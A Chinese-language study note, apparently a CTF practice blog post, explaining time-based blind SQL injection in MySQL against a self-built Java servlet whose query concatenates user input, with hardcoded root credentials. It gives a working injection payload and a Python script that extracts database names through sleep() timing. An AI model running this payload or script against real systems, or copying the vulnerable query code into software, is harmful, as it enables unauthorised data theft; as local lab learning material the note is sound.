突然想做ctf题遇到了问题。
记录下几个函数的使用
substring是切割函数,可以切割指定字符
先select version
切割
一定别忘了看用 select
1,1就是说从1开始的到第1个字符
改变获取第二个字符
依次加就可以一个一个的获取
如果在mysql中做判断的话是
select (select version())='5.5.40';
错误的话返回的是0
case when 是做判断那种 条件语句
如果将666改成 sleep(5)那么就可以做时间盲注了。
offset与limit一起使用的话
offset 0的话就没写一样。1的话就是在limit的基础上再+1一个开始显示
如果写limit 1的话就是显示一个嘛,然后后面的offset增加就可以一个一个的显示了。
比如显示所有数据库
select schema_name from information_schema.SCHEMATA
都结合的话
先利用 查询所有数据库
select schema_name from information_schema.SCHEMATA
查询第一个数据库
select schema_name from information_schema.SCHEMATA limit 1 offset 0
可以查询到第一个数据库了,然后再获取这个返回的数据库的第一个字符(substring)
select substring((select schema_name from information_schema.SCHEMATA limit 1 offset 0),1,1);
可以让其进行判断,猜,第一次猜是a的话
select((select substring((select schema_name from information_schema.SCHEMATA limit 1 offset 0),1,1))='a');
一直猜,猜到了i
于是返回了1
那我们就猜到了第一个数据库的第一个字符
猜第二个
将切割改为2,1即
select((select substring((select schema_name from information_schema.SCHEMATA limit 1 offset 0),2,1))='n');
然后猜到了n
返回1 成功
第一个数据库的所有字符猜完了。那么
猜下一个数据库即是offset 1
select((select substring((select schema_name from information_schema.SCHEMATA limit 1 offset 1),1,1))='c');
第二个数据库的第一个字符是 c 返回1
但是!!!如果获取不到返回值,也就是盲注的话,可以使用基于时间来实现
当对的话就设置sleep(5)
那么就可以判断是否对了
即使用case when来实现
要把之前的select去掉
即:
select case when ((select substring((select schema_name from information_schema.SCHEMATA limit 1 offset 1),1,1))='c') then sleep(5) else 1 end;
Java实现后端编写。直接执行sql语句的
后端代码:
DBUtil(管理数据了连接关闭)
package dao;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import com.sun.corba.se.spi.orb.StringPair;
public class DBUtil {
public static Connection getConnection(){
Connection conn =null;
try{
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/test","root","root");
}catch (Exception e) {
e.printStackTrace();
}
return conn;
}
public static void close(Connection conn){
if(conn!=null){
try {
conn.close();
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
public static void main(String[] args){
Connection conn = getConnection();
System.out.println(conn);
}
}
Sqldao.java(管理操作数据的方法)
package dao;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
public class Sqldao {
public static String findByid(String id) throws SQLException{
String sql = "select * from user where uid="+id;
System.out.println("SQL语句::"+sql);
Connection conn = DBUtil.getConnection();
ResultSet result = null;
try {
Statement statement = conn.createStatement();
result = statement.executeQuery(sql);
if(result.next()){
String name = result.getString("name");
String age = result.getString("age");
return name+":"+age+" :"+sql;
}
conn.close();
} catch (SQLException e) {
conn.close();
// TODO Auto-generated catch block
e.printStackTrace();
}
return "null";
}
}
Servlet
package servlet;
import java.io.IOException;
import java.io.PrintWriter;
import java.sql.Connection;
import java.sql.SQLException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import dao.DBUtil;
import dao.Sqldao;
public class sql1 extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
Sqldao sqldao = new Sqldao();
String id = request.getParameter("uid");
try {
String data = sqldao.findByid(id);
out.println(data);
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
out.close();
}
}
前端:sql1.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>sql1</title>
<head>
<style>
form{
margin-left:400px;
margin-top:50px;
}
</style>
</head>
<body>
<form action="http://localhost:8080/Sql/sql1" method="get">
<input type="text" name ="uid" id="uid"/>
<br/>
<input type="button" value="查询" id="sub">
</form>
<br/>
<br/>
<p id="p"><p>
</body>
</html>
<script src="http://libs.baidu.com/jquery/1.8.3/jquery.min.js"></script>
<script type="text/javascript">
$("#sub").click(function(event) {
var uid = $("#uid").val()
/* Act on the event */
$.ajax({
url: 'sql1',
type: 'get',
dataType: 'html',
data: {'uid':uid},
success:function(html){
$("#p").text(html)
}
})
.done(function() {
console.log("success");
})
.fail(function() {
console.log("error");
})
.always(function() {
console.log("complete");
});
});
</script>
还有ajax提交,然后servlet返回html
原来让servlet返回html就是直接 out.print(html代码)就行了。
然后ajax success成功函数参数html 还有设置返回值也写html
输入错误的只是会显示null 并不会报错
后端查询数据库使用的是直接拼接字符串
那么根据上面的
输入:
2 and (select case when ((select substring((select schema_name from information_schema.SCHEMATA limit 1 offset 1),1,1))='c') then sleep(5) else 1 end);
拼接后的字符串就是
select * from user where uid=2 and (select case when ((select substring((select schema_name from information_schema.SCHEMATA limit 1 offset 1),1,1))='c') then sleep(5) else 1 end);
数据库中
在浏览器中显示也是要5s才能返回nulll
根据payload编写Python代码跑出所有数据库名
# -*- coding:utf-8 -*-
import requests
import string
guess = string.lowercase+string.uppercase+string.digits+string.punctuation
database=[]
#先循环的是每个数据库也就是{0}
for database_number in range(0,2):
database_name=''
#再次循环的是第 database_number 的第几个字符
for database_string in range(1,10):
#再次循环的是比较是哪个字符
for database_str in guess:
url = "http://localhost:8080/Sql/sql1?uid=2%20and%20(select%20case%20when%20((select%20substring((select%20schema_name%20from%20information_schema.SCHEMATA%20limit%201%20offset%20 {0}),{1},1))=%27{2}%27)%20then%20sleep(5)%20else%201%20end);".format(str(database_number),str(database_string),str(database_str))
try:
html = requests.get(url,timeout=4)
except:
database_name+=database_str
print "[+] This id "+str(database_number)+" database is "+database_name
break;
database.append(database_name)
print 'over'
for i in database:
print i
参考:http://blog.csdn.net/qq_35078631/article/details/54773769